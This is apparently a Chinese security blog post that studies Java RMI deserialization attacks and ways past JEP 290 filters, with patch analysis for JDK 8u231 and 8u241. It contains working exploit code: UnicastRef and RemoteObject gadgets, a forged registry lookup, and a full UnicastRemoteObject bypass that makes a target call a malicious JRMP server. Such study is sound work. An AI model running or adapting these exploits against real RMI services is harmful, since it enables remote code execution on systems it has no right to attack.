最后一篇了吧(大概
前两篇介绍了RMI的流程和基础的攻击,这一篇写点进阶的东西
JEP290
在JDK6u141
、JDK7u131
、JDK 8u121
加入了JEP 290限制,JEP 290过滤策略有
进程级过滤器
可以将进程级序列化过滤器作为命令行参数(“-Djdk.serialFilter =”)传递,或将其设置为$JAVA_HOME/conf/security/java.security中的系统属性。
自定义过滤器
可以使用自定义过滤器来重写特定流的进程级过滤器
内置过滤器
JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。
这里我把jdk版本换成jdk1.8.0_111,默认使用内置过滤器。然后直接使用上面的服务端攻击注册中心poc看下,执行完RMI Registry会提示这样的一个错误:
这就是JEP290限制导致的
JEP 290 核心类
JEP 290 涉及的核心类有: ObjectInputStream
类,ObjectInputFilter
接口,Config
静态类以及 Global
静态类。其中 Config
类是 ObjectInputFilter
接口的内部类,Global
类又是Config
类的内部类。
ObjectInputStream 类
JEP 290 进行过滤的具体实现方法是在 ObjectInputStream
类中增加了一个serialFilter
属性和一个 filterChcek
函数,两者搭配来实现过滤的。
构造函数
有两个构造函数,我们需要关注的是在这两个构造函数中都会赋值 serialFilter
字段为 ObjectInputFilter.Config.getSerialFilter()
:
跟一下可以发现,ObjectInputFilter.Config.getSerialFilter()
:返回的内容是ObjectInputFilter接口里的一个静态属性
serialFilter 属性
这个属性是ObjectInputFilter类型的,这是一个接口
这个接口又声明了一个 checkInput
方法
filterCheck 函数
看名字就知道这是个负责过滤的方法
它分了三步
第一步,先会判断 serialFilter
属性值是否为空,只有不为空,才会进行后续的过滤操作。
第二步,将我们需要检查的 class
,以及 arryLength
等信息封装成一个FilterValues
对象,传入到 serialFilter.checkInput
方法中,返回值为 ObjectInputFilter.Status
类型。
最后一步,判断 status
的值,如果 status
是 null
或者是 REJECTED
就会抛出异常。
ObjectInputStream 总结
到这里可以知道,serialFilter
属性就可以认为是 JEP 290 中的"过滤器"。过滤的具体逻辑写到 serialFilter
的checkInput
方法中,配置过滤器其实就是设置 ObjectInputStream
对象的 serialFilter
属性。并且在 ObjectInputStream
构造函数中会赋值 serialFilter
为 ObjectInputFilter#Config
静态类的 serialFilter
静态字段。
ObjectInputFilter 接口
是 JEP 290
中实现过滤的一个最基础的接口,想理解 JEP 290 ,必须要了解这个接口。
在低于 JDK 9
的时候的全限定名是 sun.misc.ObjectInputFIlter
,JDK 9
及以上是 java.io.ObjectInputFilter
。
另外低于 JDK 9
的时候,是 getInternalObjectInputFilter
和 setInternalObjectInputFilter
,JDK 9
以及以上是 getObjectInputFilter
和 setObjectInputFIlter
。
这是它的结构
有一个 checkInput
函数,一个静态类 Config
,一个 FilterInfo
接口,一个 Status
枚举类。
函数式接口
@FunctionalInterface
注解表明, ObjectInputFilter
是一个函数式接口。对于不了解函数式接口的同学,可以参考:https://www.runoob.com/java/java8-functional-interfaces.html 以及 https://www.jianshu.com/p/40f833bf2c48 , https://juejin.cn/post/6844903892166148110 。
(我一直觉得这个lambda表达式怪逆天的,为了省两三行代码,把可读性搞得这么差
这里我们其实只需要关心函数式接口怎么赋值,函数式接口的赋值可以是: lambda 表达式或者是方法引用,当然也可以赋值一个实现了这个接口的对象
Config 静态类
Config
静态类是 ObjcectInputFilter
接口的一个内部静态类。
Config#configuredFilter 静态字段
configuredFilter
的赋值操作是在Config类的静态代码块里,所以调用 Config
类的时候就会触发 configuredFilter
字段的赋值。
可以看到会拿到 SERIAL_FILTER_PROPNAME(也就是jdk.serailFilter)
属性值,如果不为空,会返回 createFilter(props)
的结果(createFilter
实际返回的是一个 Global
对象)。
jdk.serailFilter
属性值获取的方法用两种,第一种是获取 JVM 的 jdk.serialFilter
属性,第二种通过在 %JAVA_HOME%\conf\security\java.security
文件中指定 jdk.serialFilter
来设置。
Config#createFilter 方法
Config#createFilter
则会进一步调用 Global.createFilter
方法,这个方法在介绍 Global
类的时候会说,其实就是将传入的 JEP 290 规则字符串解析到Global
对象的 filters
字段上,并且返回这个 Global
对象。
Config 静态类总结
Config
会将Config.serialFilter
赋值为一个Global
对象,这个Global
对象的filters
字段值是jdk.serailFilter
属性对应的 Function
列表。(关于 Global
对象介绍下面会说到,大家先有这么一个概念)
而 ObjectInputStream
的构造函数中,正好取的就是 Config.serialFilter
这个静态字段 , 所以设置了 Config.serialFilter 这个静态字段,就相当于设置了 ObjectInputStream 类全局过滤器。
还可以通过配置 JVM 的 jdk.serialFilter
或者 %JAVA_HOME%\conf\security\java.security
文件的 jdk.serialFilter
字段值,来设置 Config.serialFilter
,也就是设置了全局过滤。
另外还有就是一些框架,在开始的时候设置也会设置 Config.serialFilter
,来设置 ObjectInputStream
类的全局过滤。 weblogic 就是,在启动的时候会设置 Config.serialFilter
为 WebLogicObjectInputFilterWrapper
对象。
Global 静态类
Global
静态类是 Config 类中的一个内部静态类。
Global
类的一个重要特征是实现了 ``ObjectInputFilter接口,实现了其中的
checkInput方法。所以
Global类可以直接赋值到
ObjectInputStream.serialFilter` 上。
Global#filters 字段
是一个函数列表。
Global#checkInput 方法
Global
类的 checkInput
会遍历 filters
去检测要反序列化的类。
Global 中的构造函数
构造方法解析相关配置的JEP290规则语法,以;
分割将其作为一个个规则,然后添加到 Global.filters
。
Global#createFilter 方法
传入规则字符串,来实例化一个 Global
对象。
Global 类的总结
Global
实现了ObjectInputFilter
接口,所以是可以直接赋值到 ObjectInputStream.serialFilter
上。
Global#filters
字段是一个函数列表。
Global
类中的 chekInput
方法会遍历 Global#filters
的函数,传入需要检查的 FilterValues
进行检查(FilterValues
中包含了要检查的 class
, arrayLength
,以及 depth
等)。
过滤器
在上面总结 ObjectInputStream
类的中说过,配置过滤器其实就是设置 ObjectInputStream
类中的 serialFilter
属性。
过滤器的类型有两种,第一种是通过配置文件或者 JVM
属性来配置的全局过滤器,第二种则是来通过改变 ObjectInputStream
的 serialFilter
属性来配置的局部过滤器。
全局过滤器
设置全局过滤器,其实就是设置Config
静态类的 serialFilter
静态字段值。
具体原因是因为在 ObjectInputStream
的两个构造函数中,都会为 serialFilter
属性赋值为 ObjectInputFilter.Config.getSerialFilter()
。
而 ObjectInputFilter.Config.getSerialFilter
就是直接返回 Config#serialFilter
:
jdk.serailFilter
在介绍 Config
静态类的时候说到,Config
静态类初始化的时候,会解析 jdk.serailFilter
属性设置的 JEP 290 规则到一个 Global
对象的 filters
属性,并且会将这个 Global
对象赋值到 Config
静态类的 serialFilter
属性上。
所以,这里 Config.serialFilter
值默认是解析 jdk.serailFilter
属性得到得到的 Global
对象。
局部过滤器
设置局部过滤器的意思是在 new
objectInputStream
对象之后,再通过改变单个 ObjectInputStream
对象的 serialFilter
字段值来实现局部过滤。
改变单个 ObjectInputStream
对象的 serialFilter
字段是有两种方法:
1.通过调用 ObjectInputStream
对象的 setInternalObjectInputFilter
方法:
2.通过调用 Config.setObjectInputFilter
:
这个其实就是通过setObjectInputFilter
调到setInternalObjectInputFilter
方法
局部过滤器典型的例子是 RMI 中针对 RegsitryImpl
和 DGCImpl
有关的过滤。
JEP 290对RMI的限制
在没有JEP 290之前,我们RMI攻击的路线有
客户端攻击注册中心
服务端攻击注册中心
注册中心攻击客户端
服务端攻击客户端
客户端攻击服务端
DGC客户端攻击DGC服务端
DGC服务端攻击DGC客户端
JRMP服务端攻击JRMP客户端
接下来我们看一下JEP 290限制了什么
这里就不跟代码了,直接贴结果
1、RegistryImpl_Skel强制RegistryImpl.checkAccess验证
限制服务端和注册中心必须在同一host,相当于强制将服务端和注册中心绑定在一起,也就没有这两者之间的远程互相攻击了。
2、配置了registry过滤器
RegistryImpl_Skel里面的对象反序列化时会进行白名单校验,内容如下:
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}
也就是白名单有
String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID
只要反序列化的类不是白名单中的类,就会返回 REJECTED 操作符,表示序列化流中有不合法的内容,直接抛出异常。
没有任何一条完整的反序列化攻击链能通过这个白名单,这样前面攻击注册中心的方法都失效了。
但RegistryImpl_Stub里面的方法没有过滤,毕竟为了功能正常使用是没办法白名单的,所以注册中心攻击客户端依然可行。
3、配置了DGC过滤器
DGC里的白名单校验更加严格
DGCImpl_Skel和DGCImpl_Stub里面的对象反序列化时会进行白名单校验,内容如下:
return (clazz == ObjID.class ||
clazz == UID.class ||
clazz == VMID.class ||
clazz == Lease.class)
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;
这相当于直接断了攻击DGC的路
所以现在,我们还有的攻击路线是
客户端攻击服务端
服务端攻击客户端
注册中心攻击客户端
JRMP服务端攻击JRMP客户端
这四种都是不用变的,但是我们想绕过JEP 290的限制应该怎么做呢?
RMI里的反序列化
既然JEP 290限制了我们反序列化的类,那我们就需要去找这里可以利用的类如何进行反序列化
1. UnicastRemoteObject
java.rmi.server.UnicastRemoteObject
类通常是远程调用接口实现类的父类,或直接使用其静态方法 exportObject
来创建动态代理并随机监听本机端口以提供服务。
因此不难理解,在反序列化此类以及其子类后,依旧需要执行 exportObject
的相关操作,直接来看一下 UnicastRemoteObject 的 readObject
方法:
执行了reexport,又执行了 exportObject
方法。
所以UnicastRemoteObject这个类进行反序列化的时候,就相当于成为了一个JRMP的服务端,然后如果存在恶意的JRMP客户端,就有可能被攻击。
感觉这玩意怪鸡肋的,可能是我水平的问题,感觉和JRMPListener不是很像。JRMPListener是通过恶意JRMP服务端打客户端,但是这个是让自己监听自己的端口,相当于一个服务端,
想了一下,可能是通过UnicastRemoteObject的反序列化,然后让被攻击端发起一个网络请求,变成一个JRMP服务端,然后我们就可以通过恶意的客户端去进行攻击了。UnicastRemoteObject也是Remote的子类,所以能进行反序列化不受影响。但是仅凭这玩意没法绕过JEP 290,因为最主要的还是恶意客户端攻击的时候传的payload
2. UnicastRef
sun.rmi.server.UnicastRef
类实现了 Externalizable 接口,因此在其反序列化时,会调用其 readExternal
方法执行额外的逻辑。
UnicastRef 的 readExternal
方法调用 LiveRef.read(var1, false)
方法来还原成员变量 LiveRef ref
属性。
LiveRef 的 read
方法在创建 LiveRef 对象后,调用 DGCClient 的 registerRefs 方法来将其在环境中进行注册。
调用 DGCClient$EndpointEntry#registerRefs
方法
继续调用 makeDirtyCall
方法
然后就会调用dgc的dirty方法
因此可以看出,在 UnicastRef 进行反序列化时,会触发 DGC 通信及 dirty 方法调用,此时如果与一个恶意服务通信,返回恶意数据流,则会造成反序列化漏洞。
poc
public static void main(String[] args) throws Exception {
String host = "127.0.0.1";
int port = 12233;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
ser(ref);
unser();
}
3. RemoteObject
RemoteObject 是几乎所有 RMI 远程调用类的父类。这个类也可以用来触发反序列化漏洞。
RemoteObject 的 readObject 方法会先反序列化成员变量 RemoteRef ref
,最后调用其 readExternal 方法,可以用来触发上一条 UnicastRef 链。
因此我们随便找一个 RemoteObject 的子类,在其实例中放入 UnicastRef 对象,反序列化时均可触发利用链。例如如下利用代码,
public static void main(String[] args) throws Exception {
String host = "127.0.0.1";
int port = 12233;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIServerImpl_Stub stub = new RMIServerImpl_Stub(ref);
ser(stub);
unser();
}
绕过JEP 290
根据我们前面说的,我们可以得到这样一个绕过JEP 290的方法
首先借助RMI原生的、且在白名单里的类,将其作为客户端的参数,然后在注册中心进行反序列化读取的时候,触发JRMP请求,我们可以规定向我们的恶意JRMP服务端进行请求,这样就可以实现对JEP 290的绕过
服务端代码不变
客户端为
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1098);
//unicastref构造反序列化
String host = "127.0.0.1";
int port = 12233;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref1 = new UnicastRef(new LiveRef(id, te, false));
RMIServerImpl_Stub stub = new RMIServerImpl_Stub(ref1);
//获取ref
Class<?> RO = Class.forName("java.rmi.server.RemoteObject");
Field declaredField = RO.getDeclaredField("ref");
declaredField.setAccessible(true);
RemoteRef ref0 = (RemoteRef)declaredField.get(registry);
//获取 operations
Class<?> RegistryImpl_Stub = Class.forName("sun.rmi.registry.RegistryImpl_Stub");
Field operations_field = RegistryImpl_Stub.getDeclaredField("operations");
operations_field.setAccessible(true);
Operation[] operations = (Operation[])operations_field.get(registry);
//伪造lookup
RemoteCall var2 = ref0.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(stub);
ref0.invoke(var2);
}
JDK8u231
没环境了,照抄了(
修复
而在jdk8u231中,RMI又增加了新的安全措施。
首先是对注册中心进行了加固,更新后的RegistryImpl_Skel#dispatch
case 2: // lookup(String)
{
java.lang.String $param_String_1;
try {
java.io.ObjectInput in = call.getInputStream();
$param_String_1 = (java.lang.String) in.readObject();
} catch (ClassCastException | IOException | ClassNotFoundException e) {
call.discardPendingRefs();
throw new java.rmi.UnmarshalException("error unmarshalling arguments", e);
} finally {
call.releaseInputStream();
}
java.rmi.Remote $result = server.lookup($param_String_1);
try {
java.io.ObjectOutput out = call.getResultStream(true);
out.writeObject($result);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling return", e);
}
break;
}
......
可以和8u231之前的比较一下
其实就多了一行 call.discardPendingRefs();
,但是这个方法会在反序列化出错之后把incomingRefTable清空。那么在ConnectionInputStream#registerRefs就进不去ConnectionInputStream#registerRefs了。而且由于我们是自己重写的lookup,传的是个Object类型而不是String,所以在强转的时候一定会进catch里的
还有一处修复在DGCImpl_Stub
public void clean(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.VMID $param_VMID_3, boolean $param_boolean_4)
throws java.rmi.RemoteException {
try {
StreamRemoteCall call = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject) this,
operations, 0, interfaceHash);
call.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
try {
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_arrayOf_ObjID_1);
out.writeLong($param_long_2);
out.writeObject($param_VMID_3);
out.writeBoolean($param_boolean_4);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
ref.done(call);
} catch (java.lang.RuntimeException e) {
throw e;
} catch (java.rmi.RemoteException e) {
throw e;
} catch (java.lang.Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
}
}
// implementation of dirty(ObjID[], long, Lease)
public java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.Lease $param_Lease_3)
throws java.rmi.RemoteException {
try {
StreamRemoteCall call =
(StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject) this,
operations, 1, interfaceHash);
call.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
try {
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_arrayOf_ObjID_1);
out.writeLong($param_long_2);
out.writeObject($param_Lease_3);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);
java.rmi.dgc.Lease $result;
Connection connection = call.getConnection();
try {
java.io.ObjectInput in = call.getInputStream();
$result = (java.rmi.dgc.Lease) in.readObject();
} catch (ClassCastException | IOException | ClassNotFoundException e) {
if (connection instanceof TCPConnection) {
// Modified to prevent re-use of the connection after an exception
((TCPConnection) connection).getChannel().free(connection, false);
}
call.discardPendingRefs();
throw new java.rmi.UnmarshalException("error unmarshalling return", e);
} finally {
ref.done(call);
}
return $result;
} catch (java.lang.RuntimeException e) {
throw e;
} catch (java.rmi.RemoteException e) {
throw e;
} catch (java.lang.Exception e) {
throw new java.rmi.UnexpectedException("undeclared checked exception", e);
}
}
和之前的比一下
可以看到它把setObjectInputFilter方法提前了,在旧版本中,我们攻击JRMP客户端的时候直接调用了ref.invoke(call);去触发反序列化,对于后面的过滤器可以不用考虑,但是现在过滤器在我们的反序列化之前了。
这对于之前的JRMP攻击方式来说都是致命的
绕过
从前面的分析可以知道,如果想在不知道远程接口的情况想攻击注册中心/服务端,目前能控制的最大范围就是注册中心和DGC的filter里面限制的几个类。
这里绕过思路很容易想到,思路大致是:在RegistryImpl_Skel#dispatch
反序列化时(还没反序列化完,绕过报错),在这里就发出JRMP请求,不需要后面的releaseInputStream,同时也不需要在DGC客户端的ConnectionInputStream中完成readObject,而是另起一道来执行(绕过DGC层过滤)。
但是真正去找这么一条利用链是很困难的。我们要先看一下白名单有哪些可以用:
1、RegistryImpl_Skel,允许Remote/UnicastRef/RMIClientSocketFactory/RMIServerSocketFactory/ActivationID/UID
2、DGCImpl_Skel,允许ObjID/UID/VMID/Lease
看看这些类哪些是可以序列化并且重写了readObject/readExternal之类改变调用流程的,找了下有这些:
UnicastRef
UnicastRef2
UnicastServerRef
ActivationID
RemoteObject
UnicastRemoteObject
这里我直接说了,在JDK8u231的情况下,采用的是UnicastRemoteObject实现的反序列化绕过
这是一条由国外的An Trinh师傅提出来的攻击方法,原文在[这篇文章][An Trinhs RMI Registry Bypass | MOGWAI LABShttps://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/)]里
这个payload会在readobject函数调用过程直接触发JRMP请求
在8u231之前,我们的反序列化攻击的流程是
- readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
- 在readobejct反序列化的过程中填装UnicastRef类到
incomingRefTable
- 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求
而An Trinh这条利用链的攻击流程是
- readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的ref到
incomingRefTable
- 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObject的readObject,An Trinh的Gadgets会在这里触发一次JRMP请求
- 在releaseInputStream语句中从
incomingRefTable
中读取ref进行开始JRMP请求
这个利用链的开始点是UnicastRemoteObject的readObject方法。和我们之前说的在RMI里的反序列化那章的UnicastRemoteObject不同,这里在调用reexport后,对ssf进行了填充
因此会进入else里的exportObject
然后遇见exportObject就往里跟,最后会发现调用了TCPTransport的exportObject方法,其中又调用了listen方法
listen里调用了TCPEndpoint类的newServerSocket方法
在这里,他调用了我们ssf的createServerSocket方法
那假如我们这里的ssf是个代理类,就可以先进入代理类的invoke方法了
要知道,我们绕这么一大圈,最后还是要走UnicastRef#invoke->StreamRemoteCall#executeCall->注册中心/服务端攻击客户端这条路
这里的这个代理类就是RemoteObjectInvocationHandler
为什么选这个类呢,因为重载了我们之前用的UnicastRef的invoke方法
在重载后的这个invoke里,同样调用了executeCall
从分析里就能看出来,这个只需要把ssf设置成一个代理RMIServerSocketFactory接口的动态代理,里面放RemoteObjectInvocationHandler,调用这里时最终就触发了executeCall
不过在在之后还有一个问题
就是在RegistryImpl_Stub的方法里调用了writeObject,而writeObject里有个判断
如果enableReplace为true。
检测我们要序列化的obj,是否实现Remote/RemoteStub,由于UnicastRemoteObject实现了Remote,没有实现RemoteStub,于是会进入判断,就会替换我们的obj,以至于反序列化的时候不能还原我们构造的类。
所以,需要把enableReplace改为false。
抄一个exp,这个原本是重写了bind方法的,我试着重写了lookup方法,也能触发
public class BypassJEP290ByUnicastRemoteObject {
public static void main(String[] args) throws Exception {
UnicastRemoteObject payload = getPayload();
Registry registry = LocateRegistry.getRegistry(1098);
// bindReflection("pwn", payload, registry);
lookupReflection(payload, registry);
}
static UnicastRemoteObject getPayload() throws Exception {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 12233);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
handler
);
Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
field_ssf.setAccessible(true);
field_ssf.set(unicastRemoteObject, factory);
return unicastRemoteObject;
}
static void bindReflection(String name, Object obj, Registry registry) throws Exception {
Field ref_filed = RemoteObject.class.getDeclaredField("ref");
ref_filed.setAccessible(true);
UnicastRef ref = (UnicastRef) ref_filed.get(registry);
Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
operations_filed.setAccessible(true);
Operation[] operations = (Operation[]) operations_filed.get(registry);
RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
ObjectOutput outputStream = remoteCall.getOutputStream();
Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplace_filed.setAccessible(true);
enableReplace_filed.setBoolean(outputStream, false);
outputStream.writeObject(name);
outputStream.writeObject(obj);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
static void lookupReflection(Object obj, Registry registry) throws Exception {
Class<?> RO = Class.forName("java.rmi.server.RemoteObject");
Field declaredField = RO.getDeclaredField("ref");
declaredField.setAccessible(true);
RemoteRef ref0 = (RemoteRef) declaredField.get(registry);
//获取 operations
Class<?> RegistryImpl_Stub = Class.forName("sun.rmi.registry.RegistryImpl_Stub");
Field operations_field = RegistryImpl_Stub.getDeclaredField("operations");
operations_field.setAccessible(true);
Operation[] operations = (Operation[]) operations_field.get(registry);
//伪造lookup
RemoteCall var2 = ref0.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplace_filed.setAccessible(true);
enableReplace_filed.setBoolean(var3, false);
var3.writeObject(obj);
ref0.invoke(var2);
}
}
补充
另外还有一点关于JEP 290绕过方式的补充
在JDK8u231之前,用那个payload打注册中心,会有一个现象,就是当客户端发送完请求之后,服务端会在经过一段时间后就弹一个计算器出来。
这是由于DGCClient#registerRefs,可以看到这是个循环,如果epEntry.registerRefs返回的是false,就会一直卡在这个循环里
其实这里是一个DGC客户端不断向DGC服务端汇报远程对象ref的存活状况,当ref不存在时,该方法的返回值就会是true了,然后就会跳出循环。这样就会造成一个有趣的现象:DGC客户端以一定的时间间隔向DGC服务端(恶意的JRMP服务端)发起请求,类似TCP连接的心跳包,又类似一个不死马,受攻击的DGC客户端(这里是Registry端)会以同频的时间间隔不断弹出计算器。
调用栈
readObject:431, ObjectInputStream (java.io)
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy0 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
...
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
JDK8u241修复
在调用UnicastRef.invoke之前声明方法的类,必须要实现Remote接口,然而这里的RMIServerSocketFactory并没有实现,于是无法进入到invoke方法,直接抛出错误。
抬走了,等一手0day
总结
虽然写完了,但实际上还有许多细节的部分有点不懂,RMI的东西实在是有点多而且繁琐,这三篇也只能算个基础,还要去学JNDI注入之类的。而且还有一些关于RMI攻击的工具没有用过,比如RMIScout、BaRMIe、ysomap等,还是以后用到了再补吧。比如对于绕过JEP290的方式中,触发反序列化具体的路径是哪里之类的,因为有点懒所以并没有仔细的跟过(补上了,还有就是感谢互联网的共享精神(,感觉这三篇rmi里,有一篇半都是照抄别人的内容。
最后偷张图
补充
补一下触发反序列化的地方
绕过JDK8u231的payload反序列化触发点是
从RegistryImpl_Skel里的这个readObject直接跳到UnicastRemoteObject
然后会走我们在前边写的从UnicastRemoteObject到UnicastRef.Invoke的路线,在invoke里的这行会触发一个jrmp请求,
然后就会把从恶意服务端请求回来的结果传进StreamRemoteCall#executeCall,实现攻击的目的
而在在JDK8U231之前绕过JEP290的触发点同样也是从RegistryImpl_Skel开始的
首先是从in.readObject,在这里面会让incomingRefTable的值不为空,然后进入call.releaseInputStream里,去触发我们之前写的UnicastRef的反序列化路线
最终在DGCImpl_Stub#dirty里发起了一个jrmp请求
然后同样是把从恶意服务端返回来的东西调到传进UnicastRef#Invoke,然后再进入StreamRemoteCall#executeCall,实现攻击的目的
参考文章
https://paper.seebug.org/1689/ (前两部分基本上都抄的这个
RMI反序列化漏洞之三顾茅庐-JEP290绕过 | Halfblue(UnicastRef的反序列化的部分细节可以看这个
https://su18.org/post/rmi-attack/(反序列化部分都抄的这个